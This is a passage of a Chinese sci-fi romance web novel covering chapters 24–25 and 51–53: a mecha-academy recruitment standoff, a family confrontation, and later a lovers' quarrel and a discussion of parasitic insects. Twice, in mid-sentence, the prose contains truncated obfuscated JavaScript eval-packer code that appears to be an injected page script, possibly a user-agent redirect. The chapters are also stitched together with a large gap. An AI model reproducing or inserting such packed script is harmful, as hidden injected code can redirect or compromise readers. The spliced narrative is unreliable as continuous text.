她带着些焦急,看向二人。 “我现在确定我要找的人在东南方四百里周围。” “他似乎陷入了困境,我想要快点去找他。” 颂千纱的手指右手边的方向。 时循打开光脑查看。 “我查下。” 颂千纱伸出脑袋凑近时循。 时循表情怔忪,接着眉头一蹙,食指不断往那个方向滑动。 齐焦看着光脑,眉毛抬起。 “那个位置是……” “克林迪斯。” 齐焦敛眸,轻轻吐出一口气。 她低头思索了片刻,期间眉头蹙紧又张开。 半晌,抬眸看向颂千纱。 “但据我了解,校内没有叫胤允的,只有个和你一个姓的,叫颂戈。” “是林上校捡回来养大的小孩,和时循一样是3S+的机甲单兵。” 时循喝了口茶,脸上依旧淡淡的。 “他比我强,上战场战无不胜,就是性格不好。” “那是相当暴躁!” 二人提到哪位,表情都止不住的摇头,不约而同地点评。 “应该不是他。” 颂千纱摇了摇头,她眼睛抬起来看向那个方向,眼神亮亮的。 “我认为他不会改名字,他知道我们要找到彼此。” “而且胤允性格很温柔。” 她非常笃定。 颂千纱情不自禁地笑了笑,目光柔软许多。 “我们是最了解彼此的人。” 齐焦瞥向颂千纱,眼中带着讶异。 颂千纱提起胤允时整个人都变得温和。 时循微微蹙眉,打开光脑不断地查看着什么。 接着她思索了片刻,抬头看向颂千纱。 “那明天一早,我们去克林迪斯报名。” 24. 第 24 章 “好!” 颂千纱抬头,眼神亮亮的。 嘴巴紧紧地抿成一字,但酒窝还是露了出来。 她双手在桌下合十,不断摩擦,脚也跟着抖动,越是想要压抑自己兴奋的情绪越是溢了出来。 这一次,终于不用被他护在身后。 她的眼睛弯的如同月牙一般,眼中有什么快要溢出来。 她想要把一路上的见闻与新奇都分享给他。一开始有多么害怕没有他的世界,后面如何结交到这群好友,她们如何帮助她,带着她磕磕绊绊的走到这里。 她已经忍不住期待起来。 不久后,服务员把菜品一一端了上来。 三人不再聊天,一顿大快朵颐。 刚刚用餐完毕,齐焦正教颂千纱怎么使用光脑,服务员端着二维码走上来看着三人,视线不留痕迹地在时循脸上停了一瞬,无人察觉。 服务员熟练的提起苹果肌。 “您好,关注时家联盟账号送果盘哦!有需要吗?” 时循挑眉。 “什么时候开始的活动?” “不是很清楚哦,很早就有了!您看需要吗?” 服务员挠了挠头。 “扫一个吧。” “好的!扫完给我看一下!给您拿果盘!” 服务员转身离开。 等颂千纱的脑子从光脑中拔出来,面前摆放着一份精美的果盘,时循已经结完了账。 她站在座位上眺望商场中心人群聚集的地方,眼睛紧紧盯着一个女人的身影,眉头紧蹙。 齐焦顺着她的目光望去,那女人衣着得体,身后跟着几个壮硕的保镖,正在巡视店铺。 “这是……” 时循指尖微蜷,微微晃神,片刻后回道。 她抬脚收回目光。 “走吧,早点回去休息。” “也行。” 三人往回走,颂千纱走路一蹦一跳地,兴奋难掩。 时循走在最前面。 “时——” 齐焦的嘴巴即刻被时循捂上,对着齐焦摇了摇头。 齐焦惊疑不定地点了点头,颂千纱歪着头观察时循一反常态的动作。 “怎么了?” 时循把手放下,没有回答,只是轻轻向商场最中央抬了抬下巴。 那女人已经出了一架店铺,径直向另一家大店面走去。 颂千纱偏头望去,她看着那个女人惊讶地眨了眨眼。 “她的气息与你异曲同工诶!” 颂千纱看看女人,又看看时循。 “眼神也很像,但气质却完全不同。” “我看看。” 齐焦停下脚步,手臂撑着扶手凑出头去。 时循站在一旁,抱着臂远观时渺。 “时渺?” “是她。” “来巡查?” 齐焦看着时渺巡视的轨迹不禁咂嘴。 “应该不会这么简单。” 时循收回目光,再次转身往航行舰停放处走去。 “回去吧,别被她发现了。” 三人离开。 时渺似有所觉,向三人离开的位置看了一眼。 进去时天边还有一角绯红,出来时天色已经完全黑了下来,月亮顶替太阳,弯弯亮亮的挂在高空。 人们与太阳相悖,随着夜色来临,人愈发地多了起来,商场光酬交错,周边打眼看去,停放处已没有空位。 三人回到航行舰。 “让我开开!” 齐焦嘴里叼了根棒棒糖,抢着上了驾驶位。 时循瞥了她一眼,与颂千纱一起走去后座。 “开稳一点。” 齐焦姿势松弛惬意,用手比了个收到的手势。 航行舰缓步提速。 话毕,时循拿出一瓶治疗液就往嘴里倒,她转头看向颂千纱。 “克林迪斯的报名表现在填好,回去立马睡觉。” “明天要很早就起。” 颂千纱原本一口口舔着棒棒糖,闻言后一把塞入嘴里。她打开光脑,开始填写信息。 时循看着她大咧咧地敞着屏幕,用手写功能一个个填写。 她沉默了一会儿,过去教颂千纱打开隐私功能。 颂千纱一边填着,一边瞥向时循。 “为什么要早起?” “我们早点去,尽量不引人注目。” “我们很特殊吗?” 时循瞥向颂千纱的红色眼睛,像是想起了什么,打开光脑。 “比较特殊。” “我给你买对美瞳,你从明天起戴着。” “为什么?” 颂千纱的眉毛在脸上形成一个小小的八字,脸上全是困惑。 时循瞥了颂千纱一眼,眼神意味深长。 “太容易被记住了。” 齐焦勾起一丝笑容,她从镜子里看向颂千纱,直勾勾的端详。 “带美瞳也没用啊,她长得就很显眼。” “多少遮一遮。” 时循头也不抬地回道。 颂千纱的光脑忽然弹出一条时循的消息。 [打斗场上,很显眼。] [下次不要这样用。] 颂千纱的笑容凝固在脸上,脸色白了许多,她怔了好一会儿。 [很多人看见吗?] [基本被兜帽挡住了,摄像头没扫到。] 颂千纱轻轻松了口气,她轻轻看向窗外眺望,尽量让自己看起来不那么僵硬。 [谢谢。] 三人回到维纳斯酒店。 晚上的维纳斯透着一股清新的木香,让人情不自禁地放松。 经历了一翻洗漱,三人各自回屋。 颂千纱站在镜子前端详伴生纹,她逐渐蹙眉。 龙纹金光熠熠,光芒耀眼,正散发着灼热的能量。 今晚比之前任何一天都要灼热。 龙纹与化形前略有不同,正中央无端多了一个圆,圆形的光芒比整个龙纹都要耀眼。 这意味着什么? 忽然,龙纹光芒大盛。 另一头。 治疗舱内的男人骤然睁开双眸。 他眼瞳在一瞬间变金,但很快又变回黑色。 男人单手推开舱门,身上的管子随着他的动作一一掉落。 苏锡医生一屁股跌坐在仪器屏幕上,不让胤允看见屏幕上十六倍昏睡剂的标识。 他脸色苍白呼吸急促,眼睛不断往四处瞥,不敢看他。 “颂……颂少将,您怎么醒了?” 男人捂着头,神情带着焦躁与迷惑,蹙眉瞥他一眼。 他没有回话,甩了甩头,径直走向换衣间。 苏锡见男人离开,慌忙跑出重症室,拨通一个人电话,语气慌乱。 “我下了十六倍昏睡剂,还把你说的东西倒进了治疗舱,可他还是醒了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颂千纱坐下,不动声色地观察着两个陌生人。 微胖男人看起来憨态可掬,但眼神分外锐利,神色精明的男人表情并不多,但眼中带着一丝盘算。 二人都直勾勾地盯着她。 颂千纱蹙了蹙眉,与二人对视。 时循手掌伸直,指向微胖男人。 “介绍一下,这位是克林迪斯机甲单兵的主教官,也是齐焦的班主任,席辉年。” “上次赛场上,他看中了你的机甲天赋,特地来收你入学。” 时循瞥了眼颂千纱,不留痕迹地强调赛场二字。 她的手掌伸向另一个男人。 “这位是联盟机甲协会的会长。” 她顿了顿,瞥向男人,眼神带着冷意。 “时祀余,我小叔。” 时祀余勾了勾唇,眼神从上到下的打量,目光在颂千纱散着的长发上顿了顿,最后落在颂千纱的脸上。 “这么长的头发和惊艳的姿色,又能做出整个联盟都参不透机制的防御盾。” “你说——” 时祀余眼神微眯,笑意更深。 “这是187的土著?” 25. 第 25 章 时循面不改色,目光淡淡地瞥向时祀余。 “你觉得我说得有问题,可以动用时家的私权去联盟查证。” 时祀余的笑容淡了下来,面无表情地看向时循。 “在你眼中,时家就是这样蛮横,随意动用权势压人?” “不是吗?” 时循与他对视,神色不变。 二人无声对峙着,席辉年嘴角一勾,站起来走向颂千纱,他伸出手,脸上挂起笑容。 “你好,席辉年。” 颂千纱愣了愣,跟着站了起来,看着面前伸出的手歪了歪头。 思考了半晌,最后退了两步鞠躬作揖。 “幸会,在下颂千纱。” “……” 席辉年抿了抿嘴,手僵在原地,像是不知道该放在哪里,空忙了一阵后,手臂抬起摸了下自己的光头。 齐焦捂嘴看着席辉年僵住的身影,忍不住背过身去,肩膀疯狂抖动。 他凉凉地瞥了眼齐焦,接着看向颂千纱。 “我刚刚听您说,您有意愿入学克林迪斯吗?” 颂千纱刚刚张口,时祀余忽然说话。 他坐在椅子上,双腿交叠,姿态倨傲。时循侧目瞥去,冷嗤了一声,没再看他。 “颂千纱,我的来意是邀请你加入机甲师协会学习。” “机甲师协会的资源比克林迪斯要——” 颂千纱倏然张口打断他的话,她蹙着眉看向时祀余。 “机甲师协会都向你这样吗?” 时祀余轻抿了一口茶水。 “不是所有人都能做到我的地步。” 颂千纱歪了歪头。 “你很牛吗?” 这句话一出,时循扶额狂压嘴角,齐焦的肩膀再次开始抖动。 这是昨晚在车上,齐焦刚教颂千纱的话。齐焦谆谆教诲,如果有人挑衅,就说这句话。 颂千纱向来一教就会。 颂千纱学着时祀余刚刚的眼神,从上到下打量了他一翻。 “看你的头发,应该很在意外貌,但眼角的鱼尾纹暴露了年纪。” “你天赋应该是不错,但——” 她抱着臂,手搭在脸颊上,食指手指轻敲太阳穴。 “应该也没有很顶级吧?不然怎么有空来邀请我?” “小姑娘,舌灿莲花。” 时祀余轻轻笑了笑,神色未变,把茶杯轻轻放回桌面。 “我的天赋确实并非顶级,可顶级天赋未必能坐到我的位置。” 他双手交叠搭在腹部,靠着沙发,仰着头睨向颂千纱。 “你确实有资本顶撞我,可——” “这也有限度。” 他从西装内衬里拿出邀请函,放置在桌子中央。 颂千纱不动声色地观察着邀请函。 蓝色的邀请函仿烫金工艺做的精美,封面还有几只全息投影的蝴蝶,围绕着邀请函飞舞,栩栩如生。 薄薄一张纸,却明晃晃是协会炫技之作。 “联盟机甲师协会,是全宇宙机甲师技术最顶尖的神殿,是无数机甲师梦寐以求的终点。” “你面前的这份邀请函,全宇宙只发出不到四百份。” 他的声音平铺直叙,嘴角却勾起,斜着眼看向颂千纱。 “相比于克林迪斯这种基础的教学,我认为你知道该选哪个。” 席辉年脸上的笑容消失,他目光锐利的看向时祀余。 “时会长妙语连珠啊。” “克林迪斯确实基础,可时会长怎么一句不提——” “入了机甲师协会后,所有研发的机甲与物品,都归属于机甲师协会呢?” 时祀余身形微顿,眉头极快地蹙了一下,又立马变得平缓。 席辉年没给他开口的机会。他的脸变得极快,转头看向颂千纱就憨态可掬。 “可克林迪斯就不一样了,克林迪斯是传承万年的古老军校,从不剥夺学生的成果。” “而且您的同伴,齐焦也是克林迪斯的一员。” 席辉年指了指再他身后面壁的齐焦,转头手掌翻开又伸向时循。 “时循也有意愿加入克林迪斯。” 时祀余忽然勾起嘴角,眼睛微眯,眸中精明更甚。 “研发的所有成果确实是都归属于协会。可经过机甲协会发出的作品,价格都是市面上的两倍以上。” “研发的机甲师也有相应提成,相比起外面大多数机甲师,钱只多不少。” 接着,他意味深长地瞥了眼时循。 “而且,时循不会加入克林迪斯。” 时循心生不悦。 “你有什么资格决定我去不去?” 时祀余姿势不变,背脊笔直,居高临下地看着时循,像是看着一个胡闹的晚辈。 “回了这里,就得继续去帝辉军校。” “你要是还想在时家站稳脚跟,就得和我一起,让她加入机甲师协会。” 话毕,时祀余的目光落在颂千纱身上。 时循眼中冷意更甚。她把杯子放在桌面。杯子与桌面碰撞,发出“铿——”的一声。 “我早就被你们办了退学。” “况且,被家族放弃的人可不会打算为家族卖命。” 时祀余平淡地摇了摇头,微微叹了口气。 “你是时家人。” 时循像是听见了什么笑话,冷笑了两声。 “那我可算不上时家人。” 套房门口忽然传来叩门声。 颂千纱三人一脸意外,相互看了看对方。席辉年似乎也有些意外,随后脸色发沉,像是知道来着是谁。 时祀余忽然站了起来,理了理西装领口,走向门口。 时循面色一沉,眉头猛地一蹙,站起来看向门外。 时祀余一手放在身后,一手打开房门,身体微微弯曲,敛眸开口。 “家主。” 时循瞳孔猛地收缩,屏住呼吸,身形僵住。 进门的是昨晚三人见过的女人——时渺。 时渺显然是刚忙完,见房门开了后,把东西交给助理,助理鞠躬转身离去。 她神态放松走在前面,时祀余慢她一步在后面走着,把主位让给时渺。 时渺坐在主位上,时祀余给她倒水,身体微弯,神态恭敬。 女人看向时循,脸上露出淡淡地笑容。像是全然看不见时循紧绷到极致的戒备动作。 “身体好了?” 时循嘴巴抿起,指尖微微颤动。半晌,她像是忽然从回忆中出来似的,咬牙极力克制自己的情绪。 “你来做什么?” “关心你啊。” 时渺说的理所当然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我想,你会需要一个依仗。” 时渺把桌面上那份邀请函推至颂千纱面前,抬眸看向她。 “你觉得呢?” 颂千纱没有接话,眼神逐渐便冷。 气氛凝固了半晌,整个房间压抑了起来。 忽然,时渺恍然像是想起了什么,面露关心,笑眯眯地望向颂千纱,可笑意不达眼底。 “对了,昨天在商场见你,你的眼睛不是红色的吗?” 她话音一落,屋内人的目光聚焦在颂千纱的身上。 屋内瞬间静默。 时循与齐焦面色一冷,看向时渺,全身肌肉绷起。席辉年与时祀余眼睛猛地一缩,神情不约而同地锐利起来,露出势在必得的光芒。 颂千纱掌心出汗,喉咙不自觉地紧了紧,她眉头紧蹙看向时渺,伴生纹严实地藏在衣服下,微微闪烁了一瞬。 时渺单手托着下巴看着颂千纱,等待她的回复。 50-60 第51章 “因为!”她忍不住看向胤允,脸上的红意更盛。 她的手抓紧又松开,怦怦的心跳声似乎在向她传达着未名的心绪。 颂千纱梗着脖子,一脸视死如归:“我上网发帖问了,我们这样的关系是不能亲的!” “?” 空气凝固了。 胤允把舌根收了回去,像是被噎住了半晌。 下一刻,胤允心中一股无名火开始翻腾。 怒从心中起,恶向胆边生。 “哪个吃饱了没事干管人亲嘴?”他磨了磨牙:“你把id发我!我去喷死他!” “……” 悸动的心跳停了。 颂千纱重重地闭上了眼。 她面无表情的转身想要离开。 “纱纱?怎么了?”胤允见她要走,慌忙搂住了她的纤腰,半蹲着与她平视。 胤允的动作有些不知所措。 相比起刚重逢时的默契,他最近愈发摸不透颂千纱的思绪。 他的眼睛落在颂千纱的脸上不断扫着,琢磨着她的想法。 可眼神落在她的唇瓣上,原本慌乱的金眸又逐渐迷蒙了起来,眼底的占有欲愈发汹涌。 “纱纱……”炙热的气息再次朝着颂千纱的唇瓣靠近。 他又在索吻。 颂千纱后槽牙紧咬着,错位的气恼与屡教不改的愤怒同时被点燃。 准备在他吻上的时候,用上天赋狠狠甩他一巴掌。 可预想中的吻没有落下。 他把下巴搁在她的肩上,脑袋不断蹭着她的肩窝:“你最近总是很奇怪。” “我们不是彼此最亲密、最重要的人吗?”男人的声音带着委屈:“为什么不能亲吻?” 他紧搂着她的身躯,力气大到像是想要颂千纱嵌入他的身体。 颂千纱怔了一瞬,猛然忆起了那晚的交流。 脖颈处温热的痒意,腰间的大掌,下降的语调,都透过皮肤向她传达胤允无声的依赖。 用力到泛白的指节在这一刻松懈下来。 她此刻忽然发觉,面对自己的抵触与防御,胤允却像一只露出肚皮,等待她抚摸、毫无防备的小龙。 她像是被什么击中了。 颂千纱眼眸微垂,嘴唇抿起,有些不知所措。 犹豫了半晌,慢慢抬手回拥住他。 颂千纱也把下巴搁在他的肩头,撅着嘴,垂着眼眸,没有下一步动作。 她并不雀跃,反倒有种沉甸甸的感觉在此刻发酵。 颂千纱没想好怎么回应胤允的问题。 或者说是没准备好。 进一步坚持不可以,原因她自己也说不清,将不明。退一步点头接受,又像是默认了这种奇怪的关系。 许多模糊的念头在脑子堆满,成了一团杂乱的线条,纠缠在一起。 肩上的声音在此刻响起,打断了她的思绪:“纱纱。” 男声更加低哑,带着些疑惑:“你为什么不说话?” 颂千纱的唇抿成一条线,她顿了半刻,推开他。 神态像是生气,又不像是生气。 最后一刻倒像是被逼急了,恼了:“你自己想!” 她留下一句话就快步走了。 胤允显然没料到她的反应,嘴巴微张,挠了挠头跟上去。 “纱纱?你怎么生气了?” “小花?花花?花苞苞?你怎么了?” 颂千纱越走越快,可气的是身边这只苍蝇的速度与她旗鼓相当,怎么也甩不掉。 二人已经到了包厢门口,她的脸鼓成包子,转头冲着男人大声喝道:“你别烦我!你这个笨龙!笨死了笨死了笨死了!这样都不明白!” 说完她就转过脸去。 二人吵得激烈,没人发现包厢开了一条缝。 “纱纱,我已经用脑子想了很久了!”男人急切地抓了抓头发,弯腰与她对视:“你能不能告诉我你为什么生气?” 颂千纱感觉五脏六腑都烧了起来,她的眉毛揉成一团,声音更大了:“所以说你笨!笨!你懂吗?!别烦我!” “我就是笨啊!你直接告诉我好不好!”胤允深吸了一口气才忍住撞墙的冲动。 “走开啊!”颂千纱撅着嘴,推开面前挡路的胤允。 她握住门把手往里一推,忽然感觉到一股重力,颂千纱用力一推。 紧接着,门内三个人像保龄球一样倒了下去。 齐焦揉着额头:“唉哟!” 时循甩着右手:“嘶——”周之旭揉着臀:“我的屁股……” 颂千纱的表情凝固:“……” “纱纱,你——”胤允猛地收声。 他不是因为这三个保龄球顿住的,是因为颂千纱的死亡眼神。 尴尬在此刻蔓延,五个人都摒住了呼吸。 颂千纱感觉自己快爆炸了,她猛地闭眼,重重地吸了口气。 “那个……咳咳。”时循用手抵住嘴巴,假咳了两声,解释道:“我们就是想着,你们这么久了怎么还没回。” “对,就想出来看看,没料到你们在——”周之旭的声音急转直下,朝齐焦挤眉弄眼。 “没料到你们,那个,正好回来。”齐焦的笑容很僵硬,她眼睛瞪圆,时循四处飘着。 “……”颂千纱绷着脸,径直走向椅子坐下。 身后四人识趣地没再说话,跟着也挪步坐下。 包厢内分外寂静,四人几乎都没法呼吸了,她们面面相觑,挤眉弄眼,都希望别人开口打破寂静。 时循一口一口抿着杯子里的茶,刻意躲着几人的视线。 齐焦眼神勾起一丝狡黠,她对着周之旭眨了眨眼,看向时循。 “噗——”时循被周之旭从背后拍了一下。 力道不大不小,正好时循把水喷出来。 防不胜防。 颂千纱瞥了时循一眼。 时循的动作僵了半晌,她抽了张纸擦嘴,佯装无意地开口:“那个,纱纱,呃,虫子怎么样了?” 话毕,四个人同时松了口气。 颂千纱手中一闪,把装着虫子的瓶子拿了出来。 瓶子里的虫子明显变大了不少,原本只有水滴大小,现在竟然已经涨到整个瓶子的三分之一。 它还是盯着时循看,不知是不是身体变大的原因,眼睛比昨晚更加阴鸷冰冷。 五人心跳都停了一拍。 这像是看食物的眼神。 昨夜的寒意成几倍快速涌了上来,包厢静默了一瞬。 这结果还是太让人难以接受。 半晌,几人逐渐反应过来。 “卧槽!”周之旭忍不住后退了半步。 “一滴3S+的血居然能把他养这么大?”齐焦的声调微扬。 时循眉头隆起,看向颂千纱:“我记得你说治疗舱里有胤允的血,那效果应该更好,怎么回事?” 颂千纱微微摇头,脸色变得凝重:“胤允的血对那些人来说作用极大,她们在治疗舱里,只用了被稀释调和的血。” “这么说来,主要的作用会是什么?”周之旭蹙着眉思索。 四人都紧眉深锁地思考着,包厢静了下来。 胤允撑着脑袋,扫了眼几人紧绷的神色。 他的目光最后落在虫族身上,眼神中闪过一丝厌恶。 他把虫子移到桌子中央,虫子和颂千纱的距离远了不少,做完一切,他的眉头才微微松开。 胤允坐回座位,语气变冷:“喂虫母和人身上的虫子。” 周之旭哑口,他的身形僵住,手心不自觉发汗。 “你能确定吗?”时循的声音变得低哑,她盯着那只虫子看,绷着脸,神情莫测。 胤允古怪地瞥了眼时循,他侧目从上到下扫了眼时循,眼神露出一丝嫌弃。 他撇了撇嘴,很不情愿地开口解释:“不然呢?我的血当然比你们有用,所以要用来做最重要的事,虫族最重要的还能有什么事?除了人形虫族,就是孵化虫母。” 鸦雀无声,胤允的逻辑简单直接,却直指问题中心。 几人的情绪像是被浇了一盆冰水,从头冷到脚。 气氛忽然下坠,包间里变得沉闷了起来,许久没人接话。 话毕,胤允根本没感受到包厢里压抑的气氛。 他刻意把椅子挪向颂千纱,挨着她坐,用手挡着嘴,恰似不经意地小声说:“他们比我还要笨。” 音量其实只比平时小了一点,所有人都能听见。 这话一出,打断了四人的思绪,他们不约而同地用力闭了闭眼。 就连周之旭也忍不住捏了捏眉心。 颂千纱瞥向胤允。 他眼神里的雀跃想压都压不住,眉眼上扬着,侧目睨着颂千纱。 这龙要是原型,尾巴指定控制不住地晃。 齐焦无奈的摇头。 时循瞥了眼满脸得意的胤允,不知怎么的,拳头突然很痒。 她蹙眉深吸一口气,耐心地接着问:“你觉得,这只虫子这样看着我,是什么原因?” 胤允重新看了眼瓶子里的虫族,又瞥了眼时循,他嫌弃的眼神毫不遮掩。 他的目光最后落在颂千纱身上,佯装无事地用手在桌下勾着颂千纱的指尖:“我的直觉是,它想把你同化成人形虫族。” 颂千纱的眉头蹙起,被他说的话牵动了思绪,没管他的触碰。 胤允眼神微亮,看着十指相扣的双手,嘴角勾起一丝弧度。 几人都在对方的眼中看出惊惧,没人注意他明显的小动作。 如果胤允的猜想没错,那么那个巨大的治疗舱里,全是人形虫族的预备役。 这话在四人的脑中炸开,头皮发麻。 齐焦喉咙发紧,忍不住坐直了身体,像是想到了什么。 周之旭抬头,他张了张口下意识想要反驳,却找不到理由。 作者有话说:感觉现在写感情戏居然头疼,剧情线反而痛苦面具带多了习惯了,思考ing,说起来电脑端作话怎么总是没有表情! 第52章 包厢里只有胤允拉椅子时,撞的富贵竹在轻轻晃动,发出沙沙的响声。 时循下颌绷得很紧,她的手指沿着杯壁不断画圈摩挲。 从前的虫卵吸收完人体的营养,人会死,虫卵也会跟着消融。 而虫族从前并不热衷于钻进人族体内,他们更喜欢撕开血肉,为什么这次,他们要把刚孵化好的小虫钻入人体? 是用什么方式和人共存? 人又能从这身上得到什么好处呢? 时循指尖微微一顿,眉头蹙得更深。 时循想起齐焦上次和人形虫族打过照面。 齐焦睡前和她提到过,那虫族的手瞬间变成虫足捅穿了她。 对人类的好处有与身体有关? 她闭眼歪了歪头,又想到那虫族见到有人出来立马离开。 由此可见,被吞噬的人族已经不在少数了。 时循的呼吸忽然屏住,喉咙发涩。 她哪怕是被流放到垃圾星,也从未有过哪一刻如此清晰地感受到四面楚歌。 颂千纱弓着腰思索着,顺手接过胤允递到唇边的热茶,轻抿一口,温度刚刚好。 她愣了愣,抬头看向胤允,胤允正小心翼翼地帮她捞着头发。 不知怎么的,颂千纱脸上莫名发烫。 她故意转过脸去不看他。 齐焦第一个抬头,她长叹了一口气不再思考。 “见招拆招吧,枯坐着想也想不通。”齐焦重新瘫了下来,整个人又没骨头似的躺在座椅上。 “离明年的学院大赛还有大半年,林家那两位要教我们,我们可以合伙试试他们有没有问题。”颂千纱眼中全是狡黠。 她故意偏过头去,后脑勺对着胤允,看向时循三人:“而且军区医院也很好翻。” 胤允眉眼逐渐耷拉下来,桌下的手扣得更紧。 颂千纱唇角抿起一丝弧度。 时循眼眸微动,原本隆起的眉头松开不少,半晌,她轻笑一声。 是了,军区医院这样一个庞大又密集的试点,他们不会谨慎到因为被几个学生发现了就放弃,而是想办法弄死那几个学生。 齐焦瞥了眼二人,强忍着笑意,兴致盎然地看向四人:“我对机甲师的课很有兴趣,准备去蹭纱纱的课,你们有没有兴趣?” 时循和颂千纱扑哧一声笑了出来,好一会儿才停下。 颂千纱眨了眨眼:“明天下午四点,我带你们过去。” 沉默许久的周之旭终于开口了,他想了许久,神情严肃地看向胤允:“偶像,为什么这个虫子是想要同化时循?我了半天也想不明白。” 胤允的视线从桌底下移了上来,瞥向周之旭,回答道:“因为眼睛。” 周之旭眉头蹙的更深:“眼睛?” “嗯。”话毕,他没有再开口的意思。 胤允的视线再次垂了下来,落在颂千纱的手上。 周之旭更加云山雾绕,这是什么意思? 颂千纱眼神微闪。 这是天赋。 他是兽,虫族传达的意思他自然是能感受到的,与颂千纱能感受到植物的情绪如出一辙。 这都是属于他们生来自带的种族天赋。 颂千纱看向胤允,也摩挲着他的手掌。 胤允抬眸看向她,眼神微亮。 下一秒,就得寸进尺地揽住了她的腰。 颂千纱把他的手拍开,侧目瞪他,挪了挪凳子坐得更远了些,双手撑着脑袋思索。 这下是碰也碰不到了。 胤允看着颂千纱的背影,嘴角的弧度重新变成一条直线。 心情一瞬间跌落谷底,变得烦躁。 他的视线扫过四人。 四人毫无知觉,一个赛一个的严肃,完全沉浸在低迷的氛围中。 周之旭和时循依旧思索着人形虫族的事,一个低头思索,眼神放空,一个靠着椅背,望着天花板。 只有齐焦没心没肺地刷起了手机解压。 胤允动作一顿,他眼珠微转,嘴角再次勾起。 他以迅雷不及掩耳盗铃之势打横抱起颂千纱,冲刺般往包厢内的房间跑去。 颂千纱呆愣了一瞬,反应过来的时候已经来不及了:“胤允!你干嘛!你又皮痒了吗!” 胤允不管她的挣扎,埋头冲刺。 “啪——”门显然是被脚踢上的,力道不轻。 三人都愣在原地,望着他们离去的背影。 过了几秒,一阵清风拂面吹过三人。 周之旭张了张嘴,看了眼光脑又抬头与二人面面相觑:“我看时间还早,不然……我们打会儿牌?” 房间内。 胤允垂着头跟在颂千纱的后面,亦步亦趋地跟着颂千纱的脚步。 颂千纱叉着腰走到床上坐下,脊背挺的笔直:“干嘛跟着我!” 他也跟着坐下,转头打开屋内恒温系统,后搂住她:“我想和你待在一起。” 床上的制热系统被打开,不断向上蒸腾着暖意,温度湿度过于合适,让人不自觉的放松。 颂千纱的脊背微微松懈,嘴巴不自觉的撅起,她明白他的意思,可话到嘴边又转了个弯:“我们还在讨论虫族的事呢!他们伤了你!” “现在也没有定论。”胤允把颂千纱推倒在床上,给她捏着肩:“与其绞尽脑汁去想,不如等他们坐不住了找上来,反正到最后都是打一架,成王败寇。” 颂千纱也乐得享受,躺在床上思考着。 其实胤允说的不无道理。 她抬眼看着胤允。 男人野性的眉眼变得温和,在此刻倒映出自己的模样,她的脸颊渐渐升温。 “怎么脸红了,太热了吗?”胤允抚上她的脸,蹙着眉把恒温系统调低。 她从床上猛地弹射站起来,抱着臂背对着他:“你!我是觉得你伤还没好就想着打打杀杀!气的!气的!!” 笨龙! 她急忙走到窗前,想要转移注意力让红意散去。 可身后一片温热又贴了上来,胤允再次揽住了她。 “纱纱别生气,我会尽快让自己好起来。”胤允用下巴蹭了蹭她的发顶,语气温和,带着微微沙哑,手隔着衣服,不断摩挲着腰腹。 他想要颂千纱染上自己的气味。 颂千纱不说话,脸上的绯红更甚。 半晌,她终于忍不住扭了扭头,轻轻挣开他的桎梏又重新坐到房间的椅子上。 胤允眉毛隆起的更深,他走到她身边,单膝半跪在她身侧。 颂千纱侧目扫了他一眼,嘴唇微抿。 她的神色像是生气,又不像是生气。 这种状态在今天频繁出现了两次,胤允的心微微下沉,泛起一丝不安。 胤允脸色逐渐严肃,下颌绷紧:“你怎么了?” 颂千纱还是不回答,仰着脸不看他。 他的神色变得焦急,可桌椅正好把他拦在颂千纱身外。 胤允变得焦躁。 眉头隆起一座小山,他站起来把颂千纱从椅子上捞起来。 “你干嘛!”颂千纱再次惊呼,失重感让她不自觉地搂紧男人的脖颈。 男人不说话,走动了几步把她放在床上。 颂千纱坐着,自己依旧半跪着,一只手紧抓着她的脚踝,不让她后退。 “你不舒服?”胤允仰视着她,手中的力道松了一瞬,又握的更紧。 他的眉眼却愈发强势起来:“你怎么了?” 颂千纱与他对视,金眸深邃地凝望着她,映出她的模样。 男人分明是在确认她的状态,却让她忍不住浮想联翩,像是在等待他发现什么一般。 等待他发现什么? 怦。 怦怦。 心跳逐渐加速,脸皮更加滚烫,颂千纱感觉自己快要冒烟了。 她眼神微软,强作镇定瞪了罪魁祸首一眼,试着挣了挣脚踝上的桎梏,见他握的更紧,只好扭过头去不说话。 胤允身体紧绷成一根弦,眉头越蹙越紧,金眸紧盯着她,担心快要溢了出来。 下一瞬,男人搂住纤腰,利索的把她桎梏在床上,径直吻上了锁骨间的伴生纹。 “胤允!说了不可以!”颂千纱惊呼了一声,锁骨间泛起痒意,缱绻着向四处散去。 颂千纱滚烫的红意更甚,不断拍打着他的肩膀。 男人任她捶打,双臂的力道却依旧不容拒绝,固执地要确认她的状态。 颂千纱咬唇,看着男人逐渐安定的神色,用胳膊遮住双眼,不再挣扎。 气氛逐渐氤氲,滋生出许多暧昧。 不知过了多久,男人一下一下地吮吻着伴生纹,金眸中带着迷醉。 胤允的声音低哑:“纱纱,你的心跳好快。” 他俯下身靠在颂千纱肩上,姿势松散,眉眼都带着惬意:“刚刚没事怎么不和我说?” 颂千纱身形一僵,反应过来自己被男人牵着走。 她一股脑地把他推到床下,自己坐了起来,叉腰佯装生气:“别靠我太近!” 她脸上绯红依旧没有褪去,衬得她更加艳丽,胤允凝望着她,眼睛却不自觉地落在唇上。 “为什么?”胤允盯着她的唇瓣。 她启唇想要反驳,却又哑口。 他的目光过于直白,让颂千纱屁股往后挪,下意识抓紧被子,抿嘴舔了舔唇,脑子宕机了一秒。 唇瓣一张一合泛着光泽。 胤允眼神变沉了些,带着一股危险的张力。 他再次握住颂千纱的脚腕,眼中的野性骤升,带着强势:“纱纱,为什么不能靠近?” 作者有话说:颂千纱的光脑搜索记录:为什么忽然见他会脸红心跳?身体里有个瘤子一直跳可以扯出来吗? 第53章 颂千纱抬眸与他对视,他此刻的模样与狩猎时的模样如出一辙。 这不是她想要的。 